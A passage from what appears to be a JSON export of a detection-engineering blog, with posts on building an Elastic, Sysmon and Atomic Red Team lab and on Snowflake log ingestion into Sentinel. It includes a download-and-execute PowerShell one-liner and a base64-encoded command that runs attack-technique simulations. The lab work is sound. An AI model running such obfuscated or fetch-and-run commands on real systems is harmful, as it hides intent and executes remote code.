      "availability": "full-text",
      "textUrl": "https://deathdiaries.com/terminal/windows-audit-policy-sysmon-atomic-red-team.txt",
      "text": "DE&TH DIARIES\n\nConfigure Windows Audit Policy, Sysmon and Atomic Red Team — Part 3\nBy Enleak | 2025-04-03\nDetection engineering | full-text\nStatus: published\n\nSource: https://enleak.dev/writing/windows-audit-policy-sysmon-atomic-red-team\n\nField note\n\n# Configure Windows Audit Policy, Sysmon and Atomic Red Team — Part 3\n\nConfigure Windows audit policies, load a Sysmon configuration, and install Atomic Red Team for the detection lab.\n\nPublished Apr 03, 2025Updated Oct 14, 20264 min readelasticsearch\n\nOriginally published on Medium (https://medium.com/@enleak/configure-windows-audit-policy-sysmon-and-atomic-red-team-part-3-0bce8db1e15c).\n\nWith Elasticsearch and Kibana set up, configure Windows audit policies at the following Group Policy path:\n\n```\nComputer Configuration → Windows Settings → Security Settings → Advanced Audit Policy Configuration → Audit Policies.\n\n```\n\n[Image: Configure Windows Audit Policy, Sysmon and Atomic Red Team — Part 3 — image 1]\nhttps://enleak.dev/images/research/windows-audit-policy-sysmon-atomic-red-team/01.png\n\n## Configure Windows audit policies\n\nUnder System Audit Policies, configure the following key categories to log critical events:\n\n | Category | Audit subcategory | Enable | Events to collect\n\n | Account Logon | Credential Validation | Success and Failure | Successful and failed credential validation.\n\n | Account Logon | Kerberos Authentication Service | Success and Failure | Kerberos authentication events.\n\n | Account Management | User Account Management | Success and Failure | Changes to user accounts.\n\n | Logon/Logoff | Logon | Success and Failure | User logon attempts, including RDP logons.\n\n | Logon/Logoff | Special Logon | Success | Special privileges assigned to a new logon.\n\n | Logon/Logoff | Logoff | Success | User logoff events.\n\n | Object Access | File System | Success and Failure | File and folder access events matching object audit rules.\n\n | Object Access | Registry | Success and Failure | Registry access events matching object audit rules.\n\n | Detailed Tracking | Process Creation | Success | New process events.\n\n | Detailed Tracking | Process Termination | Success | Process termination events.\n\n | Privilege Use | Sensitive Privilege Use | Success and Failure | Use of sensitive privileges such as SeDebugPrivilege.\n\nFile system and registry access auditing also require matching system access control list (SACL) entries on the objects being monitored. See Microsoft’s Audit File System (https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/audit-file-system) and Audit Registry (https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/audit-registry) documentation.\n\n### Apply the policy to the client\n\nOnce you’ve configured the policies, apply them to the client machine:\n\n- On the Windows client, open Command Prompt as Administrator.\n\n- Run the following command:\n\n```\ngpupdate /force\n\n```\n\nThis will enforce the updated Group Policy settings immediately.\n\n[Image: Configure Windows Audit Policy, Sysmon and Atomic Red Team — Part 3 — image 2]\nhttps://enleak.dev/images/research/windows-audit-policy-sysmon-atomic-red-team/02.png\n\n## Configure Sysmon\n\nTo collect additional process, network, and file activity, install Sysmon from the official Sysinternals download page (https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon).\n\n[Image: Configure Windows Audit Policy, Sysmon and Atomic Red Team — Part 3 — image 3]\nhttps://enleak.dev/images/research/windows-audit-policy-sysmon-atomic-red-team/03.png\n\nWe’ll use SwiftOnSecurity’s community tested configuration file to ensure we capture the most relevant and security focused events.\n\n### Download the configuration\n\nRun the following PowerShell command on your Windows machine:\n\n```\nInvoke-WebRequest -Uri \"https://raw.githubusercontent.com/SwiftOnSecurity/sysmon-config/refs/heads/master/sysmonconfig-export.xml\" -OutFile \"C:\\Users\\Administrator\\Downloads\\Sysmon\\sysmonconfig-export.xml\"\n\n```\n\n[Image: Configure Windows Audit Policy, Sysmon and Atomic Red Team — Part 3 — image 4]\nhttps://enleak.dev/images/research/windows-audit-policy-sysmon-atomic-red-team/04.png\n\n### Load the configuration\n\nRun the following command from the Sysmon directory:\n\n```\nSysmon64.exe -c sysmonconfig-export.xml\n\n```\n\nThis tells Sysmon to load and apply the configuration file you downloaded without reinstalling the service.\n\n[Image: Configure Windows Audit Policy, Sysmon and Atomic Red Team — Part 3 — image 5]\nhttps://enleak.dev/images/research/windows-audit-policy-sysmon-atomic-red-team/05.png\n\nComplete!\n\n[Image: Jobs not finished.]\nhttps://enleak.dev/images/research/windows-audit-policy-sysmon-atomic-red-team/06.jpeg\n Jobs not finished.\n\n## Install Atomic Red Team\n\n[Image: Configure Windows Audit Policy, Sysmon and Atomic Red Team — Part 3 — image 7]\nhttps://enleak.dev/images/research/windows-audit-policy-sysmon-atomic-red-team/07.png\n\nBefore we can use Atomic Red Team, install the powershell-yaml module:\n\n```\nInstall-Module -Name powershell-yaml\n\n```\n\n[Image: Configure Windows Audit Policy, Sysmon and Atomic Red Team — Part 3 — image 8]\nhttps://enleak.dev/images/research/windows-audit-policy-sysmon-atomic-red-team/08.png\n\nUse this command to download and install the Atomic Red Team framework, including all test files (“atomics”):\n\n```\nIEX (IWR 'https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/install-atomicredteam.ps1' -UseBasicParsing); Install-AtomicRedTeam -getAtomics -Force\n\n```\n\nThis script will:\n\n- Clone the Atomics GitHub repo to C:\\AtomicRedTeam\n\n- Install helper functions into invoke-atomicredteam\n\n[Image: Configure Windows Audit Policy, Sysmon and Atomic Red Team — Part 3 — image 9]\nhttps://enleak.dev/images/research/windows-audit-policy-sysmon-atomic-red-team/09.png\n\n### Load the module in PowerShell\n\nTo make the Invoke-AtomicTest command available in every PowerShell session:\n\n```\nnotepad $profile\n\n```\n\nAdd the following lines:\n\n```\nImport-Module \"C:\\AtomicRedTeam\\invoke-atomicredteam\\Invoke-AtomicRedTeam.psd1\" -Force\n$PSDefaultParameterValues = @{\"Invoke-AtomicTest:PathToAtomicsFolder\"=\"C:\\AtomicRedTeam\\atomics\"}\n\n```\n\nSave and restart PowerShell.\n\n[Image: Configure Windows Audit Policy, Sysmon and Atomic Red Team — Part 3 — image 10]\nhttps://enleak.dev/images/research/windows-audit-policy-sysmon-atomic-red-team/10.png\n\n### Run the tests and inspect the logs\n\nThe script below runs several Atomic tests that span multiple attack stages.\n\n```\npowershell -enc SQBuAHYAbwBrAGUALQBBAHQAbwBtAGkAYwBUAGUAcwB0ACAAVAAxADUANgA2AC4AMAAwADEALQAxADsASQBuAHYAbwBrAGUALQBBAHQAbwBtAGkAYwBUAGUAcwB0ACAAVAAxADAANwA4AC4AMAAwADMALQAxADsASQBuAHYAbwBrAGUALQBBAHQAbwBtAGkAYwBUAGUAcwB0ACAAVAAxADUANAA3AC4AMAAwADEALQAxADsASQBuAHYAbwBrAGUALQBBAHQAbwBtAGkAYwBUAGUAcwB0ACAAVAAxADAAMAA3AC0AMQA7AEkAbgB2AG8AawBlAC0AQQB0AG8AbQBpAGMAVABlAHMAdAAgAFQAMQAwADEANgAtADEAOwBJAG4AdgBvAGsAZQAtAEEAdABvAG0AaQBjAFQAZQBzAHQAIABUADEAMAA0ADkALQAxADsASQBuAHYAbwBrAGUALQBBAHQAbwBtAGkAYwBUAGUAcwB0ACAAVAAxADAAOAA3AC4AMAAwADEALQA4ADsASQBuAHYAbwBrAGUALQBBAHQAbwBtAGkAYwBUAGUAcwB0ACAAVAAxADAAMQA2AC0ANwAgAC0ARwBlAHQAUAByAGUAcgBlAHEAcwA7AEkAbgB2AG8AawBlAC0AQQB0AG8AbQBpAGMAVABlAHMAdAAgAFQAMQAwADEANgAtADcAOwBJAG4AdgBvAGsAZQAtAEEAdABvAG0AaQBjAFQAZQBzAHQAIABUADEAMAA1ADkALgAwADAAMQAtADEAOwBJAG4AdgBvAGsAZQAtAEEAdABvAG0AaQBjAFQAZQBzAHQAIABUADEANQA2ADcALgAwADAAMwAtADEA > $null\n\n```\n\nWe can see the PowerShell script in our logs, very nice!\n\n[Image: Configure Windows Audit Policy, Sysmon and Atomic Red Team — Part 3 — image 11]\nhttps://enleak.dev/images/research/windows-audit-policy-sysmon-atomic-red-team/11.png\n\n[Image: One step closer :)]\nhttps://enleak.dev/images/research/windows-audit-policy-sysmon-atomic-red-team/12.jpeg\n One step closer :)\n"
    },
    {
      "id": "elasticsearch-kibana-part-1",
      "title": "Configuring Elasticsearch & Kibana — Part 1",
      "author": "Enleak",
      "date": "2025-04-02",
      "category": "Detection engineering",
      "summary": "Set up Elasticsearch and Kibana on Ubuntu as the foundation of a security monitoring lab.",
      "tags": [
        "elastic-stack"
      ],
      "url": "https://enleak.dev/writing/elasticsearch-kibana-part-1",
      "status": "published",
      "availability": "full-text",
      "textUrl": "https://deathdiaries.com/terminal/elasticsearch-kibana-part-1.txt",
      "text": "DE&TH DIARIES\n\nConfiguring Elasticsearch & Kibana — Part 1\nBy Enleak | 2025-04-02\nDetection engineering | full-text\nStatus: published\n\nSource: https://enleak.dev/writing/elasticsearch-kibana-part-1\n\nField note\n\n# Configuring Elasticsearch & Kibana — Part 1\n\nInstalling Elasticsearch on Ubuntu\n\nPublished Apr 02, 20253 min readelastic-stack\n\nOriginally published on Medium (https://medium.com/@enleak/configuring-elasticsearch-kibana-part-1-4d5d2e17ec7e).\n\n### Elasticsearch & Kibana — Part 1\n\n[Image: Configuring Elasticsearch & Kibana — Part 1 — image 1]\nhttps://enleak.dev/images/research/elasticsearch-kibana-part-1/01.png\n\n### Installing Elasticsearch on Ubuntu\n\nFirst, let’s import elastic’s GPG key. This command fetches elastic’s GPG key and converts it into a format APT understands. The key ensures that the packages you’re about to install are authentic and secure :).\n\n```\nwget -qO - https://artifacts.elastic.co/GPG-KEY-elasticsearch | sudo gpg --dearmor -o /usr/share/keyrings/elasticsearch-keyring.gpg\n\n```\n\n[Image: Configuring Elasticsearch & Kibana — Part 1 — image 2]\nhttps://enleak.dev/images/research/elasticsearch-kibana-part-1/02.png\n\nNow, let’s add the elasticsearch APT repository. This tells APT where to fetch Elasticsearch packages from. The signed-by option links the repo to the GPG key we added for secure verification. We then update our package list with sudo apt update.\n\n```\necho \"deb [signed-by=/usr/share/keyrings/elasticsearch-keyring.gpg] https://artifacts.elastic.co/packages/8.x/apt stable main\" | sudo tee /etc/apt/sources.list.d/elastic-8.x.list\n\nsudo apt update\n\n```\n\n[Image: Configuring Elasticsearch & Kibana — Part 1 — image 3]\nhttps://enleak.dev/images/research/elasticsearch-kibana-part-1/03.png\n\nAPT now knows where to find elasticsearch and we install it with:\n\n```\nsudo apt-get install elasticsearch\n\n```\n\n[Image: Configuring Elasticsearch & Kibana — Part 1 — image 4]\nhttps://enleak.dev/images/research/elasticsearch-kibana-part-1/04.png\n\nLet’s configure elasticsearch network settings, in this file, you’ll want to configure the values network.host and http.port depending on your setup. For example:\n\nnetwork.host: 0.0.0.0\n http.port: 9200\n\n```\nsudo nano /etc/elasticsearch/elasticsearch.yml\n\n```\n\n[Image: Configuring Elasticsearch & Kibana — Part 1 — image 5]\nhttps://enleak.dev/images/research/elasticsearch-kibana-part-1/05.png\n\nEnabling elasticsearch to start on boot, ensures elasticsearch runs every time your system boots (no one wants to start the service each time manually).\n\n```\nsudo systemctl daemon-reload\nsudo systemctl enable elasticsearch\n\n```\n\n[Image: Configuring Elasticsearch & Kibana — Part 1 — image 6]\nhttps://enleak.dev/images/research/elasticsearch-kibana-part-1/06.png\n\nOnce you start the elasticsearch service you can check that everything is running smoothly using the status command.\n\n```\nsudo systemctl start elasticsearch\nsudo systemctl status elasticsearch\n\n```\n\n[Image: Configuring Elasticsearch & Kibana — Part 1 — image 7]\nhttps://enleak.dev/images/research/elasticsearch-kibana-part-1/07.png\n\nIt's up and running!\n\n[Image: Configuring Elasticsearch & Kibana — Part 1 — image 8]\nhttps://enleak.dev/images/research/elasticsearch-kibana-part-1/08.png\n\n[Image: Configuring Elasticsearch & Kibana — Part 1 — image 9]\nhttps://enleak.dev/images/research/elasticsearch-kibana-part-1/09.png\n\n### Installing Kibana on Ubuntu\n\nInstalling kibana:\n\n```\nsudo apt-get install kibana\n\n```\n\n[Image: Configuring Elasticsearch & Kibana — Part 1 — image 10]\nhttps://enleak.dev/images/research/elasticsearch-kibana-part-1/10.png\n\nNow let’s configure kibana by updating some of the values below:\n\nserver.port: 5601\n server.host: “0.0.0.0”\n elasticsearch.hosts: [“http://localhost:9200 (http://localhost:9200)\"]\n\nThis sets kibana to be accessible on port 5601 and connects it to your elasticsearch instance.\n\n```\nsudo nano /etc/kibana/kibana.yml\n\n```\n\n[Image: Configuring Elasticsearch & Kibana — Part 1 — image 11]\nhttps://enleak.dev/images/research/elasticsearch-kibana-part-1/11.png\n\nNext, let's enable kibana and ensure it starts automatically when the system boots.\n\n```\nsudo systemctl enable kibana\nsudo systemctl start kibana\nsudo systemctl status kibana\n\n```\n\n[Image: Configuring Elasticsearch & Kibana — Part 1 — image 12]\nhttps://enleak.dev/images/research/elasticsearch-kibana-part-1/12.png\n\nTo securely connect kibana to elasticsearch, generate an enrollment token (you’ll use it in the kibana web setup process):\n\n```\nsudo /usr/share/elasticsearch/bin/elasticsearch-create-enrollment-token -s kibana\n\n```\n\n[Image: Configuring Elasticsearch & Kibana — Part 1 — image 13]\nhttps://enleak.dev/images/research/elasticsearch-kibana-part-1/13.png\n\nOpen kibana in your browser and paste in the enrollment token. Click Configure Elastic to continue.\n\n[Image: Configuring Elasticsearch & Kibana — Part 1 — image 14]\nhttps://enleak.dev/images/research/elasticsearch-kibana-part-1/14.png\n\nKibana will prompt you for a verification code. Generate it with:\n\n```\nsudo /usr/share/kibana/bin/kibana-verification-code\n\n```\n\n[Image: Configuring Elasticsearch & Kibana — Part 1 — image 15]\nhttps://enleak.dev/images/research/elasticsearch-kibana-part-1/15.png\n\nEnter the code, then proceed with logging in using the username (elastic) and the password generated during elasticsearch installation.\n\n[Image: Configuring Elasticsearch & Kibana — Part 1 — image 16]\nhttps://enleak.dev/images/research/elasticsearch-kibana-part-1/16.png\n\nThat’s it! You now have a fully running Elastic Stack with both Elasticsearch and Kibana configured.\n\n[Image: Wow, Very Win, Such Amaze!]\nhttps://enleak.dev/images/research/elasticsearch-kibana-part-1/17.jpeg\n Wow, Very Win, Such Amaze!\n\nReferences:\n\nhttps://www.elastic.co/guide/en/elasticsearch/reference/current/install-elasticsearch.html (https://www.elastic.co/guide/en/elasticsearch/reference/current/install-elasticsearch.html)\n"
    },
    {
      "id": "winlogbeat-filebeat-log-collection",
      "title": "Setting Up Winlogbeat & Filebeat for Log Collection — Part 2",
      "author": "Enleak",
      "date": "2025-04-02",
      "category": "Detection engineering",
      "summary": "Connect Windows event and file logs to an Elastic lab using Winlogbeat and Filebeat.",
      "tags": [
        "elasticsearch"
      ],
      "url": "https://enleak.dev/writing/winlogbeat-filebeat-log-collection",
      "status": "published",
      "availability": "full-text",
      "textUrl": "https://deathdiaries.com/terminal/winlogbeat-filebeat-log-collection.txt",
      "text": "DE&TH DIARIES\n\nSetting Up Winlogbeat & Filebeat for Log Collection — Part 2\nBy Enleak | 2025-04-02\nDetection engineering | full-text\nStatus: published\n\nSource: https://enleak.dev/writing/winlogbeat-filebeat-log-collection\n\nField note\n\n# Setting Up Winlogbeat & Filebeat for Log Collection — Part 2\n\nWinlogbeat Installation\n\nPublished Apr 02, 20253 min readelasticsearch\n\nOriginally published on Medium (https://medium.com/@enleak/setting-up-winlogbeat-filebeat-for-log-collection-part-2-7882e65e1f32).\n\n### Winlogbeat & Filebeat for Log Collection — Part 2\n\n[Image: Setting Up Winlogbeat & Filebeat for Log Collection — Part 2 — image 1]\nhttps://enleak.dev/images/research/winlogbeat-filebeat-log-collection/01.png\n\n### Winlogbeat Installation\n\nGrab the latest Winlogbeat package from elastic’s official site:\n https://www.elastic.co/downloads/beats/winlogbeat (https://www.elastic.co/downloads/beats/winlogbeat)\n\nExtract the contents to: C:\\Program Files\\Winlogbeat . At the time of writing this blog, version 8.17.3 has a bug detailed in: https://github.com/elastic/beats/issues/42902 (https://github.com/elastic/beats/issues/42902).\n\n[Image: Setting Up Winlogbeat & Filebeat for Log Collection — Part 2 — image 2]\nhttps://enleak.dev/images/research/winlogbeat-filebeat-log-collection/02.png\n\nTo bypass this until further updates head to https://www.elastic.co/downloads/past-releases#winlogbeat (https://www.elastic.co/downloads/past-releases#winlogbeat) and grab version 8.17.2.\n\n[Image: Setting Up Winlogbeat & Filebeat for Log Collection — Part 2 — image 3]\nhttps://enleak.dev/images/research/winlogbeat-filebeat-log-collection/03.png\n\nOpen PowerShell as Administrator and run:\n\n```\nPowerShell.exe -ExecutionPolicy UnRestricted -File .\\install-service-winlogbeat.ps1\n\n```\n\n[Image: Setting Up Winlogbeat & Filebeat for Log Collection — Part 2 — image 4]\nhttps://enleak.dev/images/research/winlogbeat-filebeat-log-collection/04.png\n\nOpen winlogbeat.yml in your editor and specify which Windows Event Logs you want to collect.\n\nRecommended Event IDs:\n\n- 4688 — New process creation\n\n- 4624 — Successful login\n\n- 4625 — Failed login\n\n- 4720 — New user account created\n\n- 1102 — Audit log cleared\n\n- etc, etc. There are a lot of important Event IDs to consider.\n\n[Image: Setting Up Winlogbeat & Filebeat for Log Collection — Part 2 — image 5]\nhttps://enleak.dev/images/research/winlogbeat-filebeat-log-collection/05.png\n\nIn the same config file, update the output.elasticsearch section like this:\n\n- ssl.verification_mode: none disables certificate checks (only for testing or internal setups).\n\n- protocol: \"https\" ensures encrypted transmission.\n\n[Image: Setting Up Winlogbeat & Filebeat for Log Collection — Part 2 — image 6]\nhttps://enleak.dev/images/research/winlogbeat-filebeat-log-collection/06.png\n\nRun the following from the Winlogbeat directory in order to test the configuration, ideally, you should see a CONFIG OKmessage at the bottom left.\n\n```\n.\\winlogbeat.exe test config -c .\\winlogbeat.yml -e\n\n```\n\n[Image: Setting Up Winlogbeat & Filebeat for Log Collection — Part 2 — image 7]\nhttps://enleak.dev/images/research/winlogbeat-filebeat-log-collection/07.png\n\n```\n.\\winlogbeat.exe test output -c .\\winlogbeat.yml -e\n\n```\n\n[Image: Setting Up Winlogbeat & Filebeat for Log Collection — Part 2 — image 8]\nhttps://enleak.dev/images/research/winlogbeat-filebeat-log-collection/08.png\n\nNow, let's start the winlogbeat service.\n\n```\nStart-Service winlogbeat\nGet-Service winlogbeat\n\n```\n\n[Image: Setting Up Winlogbeat & Filebeat for Log Collection — Part 2 — image 9]\nhttps://enleak.dev/images/research/winlogbeat-filebeat-log-collection/09.png\n\nFor live logs in the terminal (quick insight if there's any errors):\n\n```\n.\\winlogbeat.exe -c .\\winlogbeat.yml -e\n\n```\n\n[Image: Setting Up Winlogbeat & Filebeat for Log Collection — Part 2 — image 10]\nhttps://enleak.dev/images/research/winlogbeat-filebeat-log-collection/10.png\n\nHead over to Kibana and check Discover or Dashboard to confirm that logs are being received from the Windows machine:\n\n[Image: Setting Up Winlogbeat & Filebeat for Log Collection — Part 2 — image 11]\nhttps://enleak.dev/images/research/winlogbeat-filebeat-log-collection/11.png\n\n[Image: Waiting for the logs to ingest]\nhttps://enleak.dev/images/research/winlogbeat-filebeat-log-collection/12.jpeg\n Waiting for the logs to ingest\n\n### Installing Filebeat\n\nAdd elastic’s GPG key, add the elastic repository and finally update and install filebeat.\n\n```\nwget -qO - https://artifacts.elastic.co/GPG-KEY-elasticsearch | sudo gpg  --dearmor -o /usr/share/keyrings/elastic-keyring.gpg\n\necho \"deb [signed-by=/usr/share/keyrings/elastic-keyring.gpg] https://artifacts.elastic.co/packages/8.x/apt stable main\" | sudo tee /etc/apt/sources.list.d/elastic-8.x.list\n\nsudo apt update && sudo apt install filebeat\n\n```\n\n[Image: Setting Up Winlogbeat & Filebeat for Log Collection — Part 2 — image 13]\nhttps://enleak.dev/images/research/winlogbeat-filebeat-log-collection/13.png\n\nThe next step is to edit the filebeat configuration file(by default, Filebeat reads from /var/log/*.log):\n\n[Image: Setting Up Winlogbeat & Filebeat for Log Collection — Part 2 — image 14]\nhttps://enleak.dev/images/research/winlogbeat-filebeat-log-collection/14.png\n\nNow, we need to edit the file to send logs directly to elasticsearch with the edits below**.**\n\n[Image: Setting Up Winlogbeat & Filebeat for Log Collection — Part 2 — image 15]\nhttps://enleak.dev/images/research/winlogbeat-filebeat-log-collection/15.png\n\n[Image: Setting Up Winlogbeat & Filebeat for Log Collection — Part 2 — image 16]\nhttps://enleak.dev/images/research/winlogbeat-filebeat-log-collection/16.png\n\nStart the filebeat service and configure it to launch automatically at system startup.\n\n```\nsudo nano /etc/filebeat/filebeat.yml\nsudo systemctl start filebeat\nsudo systemctl enable filebeat\n\n```\n\n[Image: Setting Up Winlogbeat & Filebeat for Log Collection — Part 2 — image 17]\nhttps://enleak.dev/images/research/winlogbeat-filebeat-log-collection/17.png\n\nNow, let’s verify whether the logs are being displayed in ELK:\n\n[Image: Setting Up Winlogbeat & Filebeat for Log Collection — Part 2 — image 18]\nhttps://enleak.dev/images/research/winlogbeat-filebeat-log-collection/18.png\n\nSuccess!!\n\n[Image: Setting Up Winlogbeat & Filebeat for Log Collection — Part 2 — image 19]\nhttps://enleak.dev/images/research/winlogbeat-filebeat-log-collection/19.png\n\n[Image: can we begin the fun part now?]\nhttps://enleak.dev/images/research/winlogbeat-filebeat-log-collection/20.jpeg\n can we begin the fun part now?\n"
    },
    {
      "id": "snowflake-log-ingestion-azure-functions",
      "title": "Snowflake log ingestion via Azure Functions",
      "author": "Enleak",
      "date": "2025-03-14",
      "category": "Detection engineering",
      "summary": "Connect Snowflake activity logs to Microsoft Sentinel using an Azure Functions-based data connector.",
      "tags": [
        "cloud-security"
      ],
      "url": "https://enleak.dev/writing/snowflake-log-ingestion-azure-functions",
      "status": "published",
      "availability": "full-text",
      "textUrl": "https://deathdiaries.com/terminal/snowflake-log-ingestion-azure-functions.txt",
      "text": "DE&TH DIARIES\n\nSnowflake log ingestion via Azure Functions\nBy Enleak | 2025-03-14\nDetection engineering | full-text\nStatus: published\n\nSource: https://enleak.dev/writing/snowflake-log-ingestion-azure-functions\n\nField note\n\n# Snowflake log ingestion via Azure Functions\n\nIf you were curious about ingesting Login Events, Query Execution Events, System Activity & Performance Counters, Security Events..or not…\n\nPublished Mar 14, 20256 min readcloud-security\n\nOriginally published on Medium (https://medium.com/@enleak/snowflake-log-ingestion-via-azure-functions-b7e575ce4ee2).\n\n[Image: Snowflake log ingestion via Azure Functions — image 1]\nhttps://enleak.dev/images/research/snowflake-log-ingestion-azure-functions/01.png\n\nIf you were curious about ingesting Login Events, Query Execution Events, System Activity & Performance Counters, Security Events..or not, I will walk you through the simple process of getting it done. Let’s also remember that there are multiple methods for forwarding logs…..Event Hubs, Cribl, etc, depending on scalability.\n\n[Image: me rn, it’s 1:45AM]\nhttps://enleak.dev/images/research/snowflake-log-ingestion-azure-functions/02.gif\n me rn, it’s 1:45AM\n\nFYSA, I tried to deploy the Funciton App manually before finally deciding on the automated deployment.\n\n[Image: Snowflake log ingestion via Azure Functions — image 3]\nhttps://enleak.dev/images/research/snowflake-log-ingestion-azure-functions/03.jpg\n\n### Step 1: Create a Log Analytics Workspace\n\nFirst, make sure your Log Analytics workspace is created. For further instructions, click this embedded link for “Create a Log Analytics workspace (https://learn.microsoft.com/en-us/azure/azure-monitor/logs/quick-create-workspace?tabs=azure-portal).” Now that the first step is complete, you should have a new workspace and resource group.\n\n[Image: Snowflake log ingestion via Azure Functions — image 4]\nhttps://enleak.dev/images/research/snowflake-log-ingestion-azure-functions/04.png\n\nLet’s attach Sentinel to it by following this guide; “Quickstart: Onboard Microsoft Sentinel (https://learn.microsoft.com/en-us/azure/sentinel/quickstart-onboard).” The first step is complete!\n\n[Image: Snowflake log ingestion via Azure Functions — image 5]\nhttps://enleak.dev/images/research/snowflake-log-ingestion-azure-functions/05.png\n\nNow that Sentinel is onboarded, we can go ahead and scroll down to data connectors and click “More content at Content Hub” on the top right.\n\n[Image: Snowflake log ingestion via Azure Functions — image 6]\nhttps://enleak.dev/images/research/snowflake-log-ingestion-azure-functions/06.png\n\nYou will install the Snowflake content from this page and include the Snowflake data connector.\n\n[Image: Snowflake log ingestion via Azure Functions — image 7]\nhttps://enleak.dev/images/research/snowflake-log-ingestion-azure-functions/07.png\n\n### Step 2: Creating a User in Snowflake\n\nTo query data from Snowflake, you need a user assigned to a role with sufficient privileges and a virtual warehouse cluster; please make sure to note down all the relevant credentials and your “Account Identifier.” The initial cluster size will be set to SMALL, but it can be adjusted as needed. FYSA, you can get 30 days of free access to Snowflake to test with (https://signup.snowflake.com/ (https://signup.snowflake.com/)).\n\n1. Enter the Snowflake Console and Create a Role\n\nSwitch to the SECURITYADMIN role and create a new role:\n\n```\nUSE ROLE SECURITYADMIN;\nCREATE OR REPLACE ROLE EXAMPLE_ROLE_NAME;\n\n```\n\n[Image: Snowflake log ingestion via Azure Functions — image 8]\nhttps://enleak.dev/images/research/snowflake-log-ingestion-azure-functions/08.png\n\n2. Create a Warehouse and Grant Access\n\nSwitch to the SYSADMIN role, create a warehouse, and grant access to the role:\n\n```\nUSE ROLE SYSADMIN;\nCREATE OR REPLACE WAREHOUSE EXAMPLE_WAREHOUSE_NAME\n    WAREHOUSE_SIZE = 'SMALL'\n    AUTO_SUSPEND = 5\n    AUTO_RESUME = TRUE\n    INITIALLY_SUSPENDED = TRUE;\n\nGRANT USAGE, OPERATE ON WAREHOUSE EXAMPLE_WAREHOUSE_NAME TO ROLE EXAMPLE_ROLE_NAME;\n\n```\n\n[Image: Snowflake log ingestion via Azure Functions — image 9]\nhttps://enleak.dev/images/research/snowflake-log-ingestion-azure-functions/09.png\n\n3. Create a User\n\nSwitch back to the SECURITYADMIN role and create a new user:\n\n```\nUSE ROLE SECURITYADMIN;\nCREATE OR REPLACE USER EXAMPLE_USER_NAME\n    PASSWORD = 'example_password'\n    DEFAULT_ROLE = EXAMPLE_ROLE_NAME\n    DEFAULT_WAREHOUSE = EXAMPLE_WAREHOUSE_NAME;\n\n```\n\n[Image: Snowflake log ingestion via Azure Functions — image 10]\nhttps://enleak.dev/images/research/snowflake-log-ingestion-azure-functions/10.png\n\n4. Grant Database Access\n\nSwitch to the ACCOUNTADMIN role and grant access to the Snowflake database:\n\n```\nUSE ROLE ACCOUNTADMIN;\nGRANT IMPORTED PRIVILEGES ON DATABASE SNOWFLAKE TO ROLE EXAMPLE_ROLE_NAME;\n\n```\n\n[Image: Snowflake log ingestion via Azure Functions — image 11]\nhttps://enleak.dev/images/research/snowflake-log-ingestion-azure-functions/11.png\n\n5. Assign Role to User\n\nSwitch back to the SECURITYADMIN role and assign the role to the user:\n\n```\nUSE ROLE SECURITYADMIN;\nGRANT ROLE EXAMPLE_ROLE_NAME TO USER EXAMPLE_USER_NAME;\n\n```\n\n[Image: Snowflake log ingestion via Azure Functions — image 12]\nhttps://enleak.dev/images/research/snowflake-log-ingestion-azure-functions/12.png\n\n### Step 3: Automated deployment of the data connector using an ARM Template\n\n[Image: Snowflake log ingestion via Azure Functions — image 13]\nhttps://enleak.dev/images/research/snowflake-log-ingestion-azure-functions/13.png\n\nThe appropriate page will be found under the connector page.\n\n[Image: Snowflake log ingestion via Azure Functions — image 14]\nhttps://enleak.dev/images/research/snowflake-log-ingestion-azure-functions/14.png\n\nMore information on ARM templates (https://learn.microsoft.com/en-us/azure/azure-resource-manager/templates/overview) can be found in the embedded link. Now that we have clicked “Deploy to Azure,” we will be greeted with the “Custom Deployment” page, which can be seen below. On this page, you are tasked with filling in the necessary information we noted down earlier and clicking “Review + Create” on the bottom left;\n\nSubscription:\n\nResource group:\n\nRegion:\n\nFunction Name:\n\nSnowflake Account Identifier:\n\nSnowflake User:\n\nSnowflake Password:\n\nAzure Sentinel Workspace Id:\n\nAzure Sentinel Shared Key:\n\nApp Insights Workspace Resource ID:\n\n[Image: Snowflake log ingestion via Azure Functions — image 15]\nhttps://enleak.dev/images/research/snowflake-log-ingestion-azure-functions/15.png\n\n### Step 4: Confirming Function App Configurations\n\nUnder “Function App” in Azure, choose the newly created function app and scroll to the “Configuration” option.\n\nWhat is a function app, you may be asking. Function Apps (https://learn.microsoft.com/en-us/azure/azure-functions/functions-overview?pivots=programming-language-csharp) are serverless applications that run code only when triggered.\n\n[Image: Snowflake log ingestion via Azure Functions — image 16]\nhttps://enleak.dev/images/research/snowflake-log-ingestion-azure-functions/16.png\n\nThis will take you to the “Environment Variables” tab, where you can view and edit all the variables within the function app:\n\n[Image: Snowflake log ingestion via Azure Functions — image 17]\nhttps://enleak.dev/images/research/snowflake-log-ingestion-azure-functions/17.png\n\nNow that this is complete, you can scroll back up to Overview and click on “Invocations and more” under “Monitor”:\n\n[Image: Snowflake log ingestion via Azure Functions — image 18]\nhttps://enleak.dev/images/research/snowflake-log-ingestion-azure-functions/18.png\n\nUnder “Logs”, you’ll notice that there's a “Connecting to Application Insights…” message before ultimately connecting and displaying a message confirming the ingestion of logs.\n\n[Image: Snowflake log ingestion via Azure Functions — image 19]\nhttps://enleak.dev/images/research/snowflake-log-ingestion-azure-functions/19.png\n\n### Step 5: Confirming Snowflake Connector Status\n\nOnce you have completed the steps, your connector should show as “Connected,” and Snowflake logs should be coming in.\n\n[Image: Snowflake log ingestion via Azure Functions — image 20]\nhttps://enleak.dev/images/research/snowflake-log-ingestion-azure-functions/20.png\n\n[Image: Snowflake log ingestion via Azure Functions — image 21]\nhttps://enleak.dev/images/research/snowflake-log-ingestion-azure-functions/21.png\n\nLet’s go check our logs!\n\n[Image: Snowflake log ingestion via Azure Functions — image 22]\nhttps://enleak.dev/images/research/snowflake-log-ingestion-azure-functions/22.png\n\nYou thought this was where it ended? Wrong. Now that logs are coming into Sentinel, we should create a simple analytic rule to catch possible brute-force attempts.\n\n[Image: Snowflake log ingestion via Azure Functions — image 23]\nhttps://enleak.dev/images/research/snowflake-log-ingestion-azure-functions/23.jpeg\n\n### Step 6: Creating Rule To Detect Possible Bruteforce\n\nUnder your Sentinel page, scroll to “Analytics” and click “Create,” where you can choose between scheduled query rules, NRT query rules 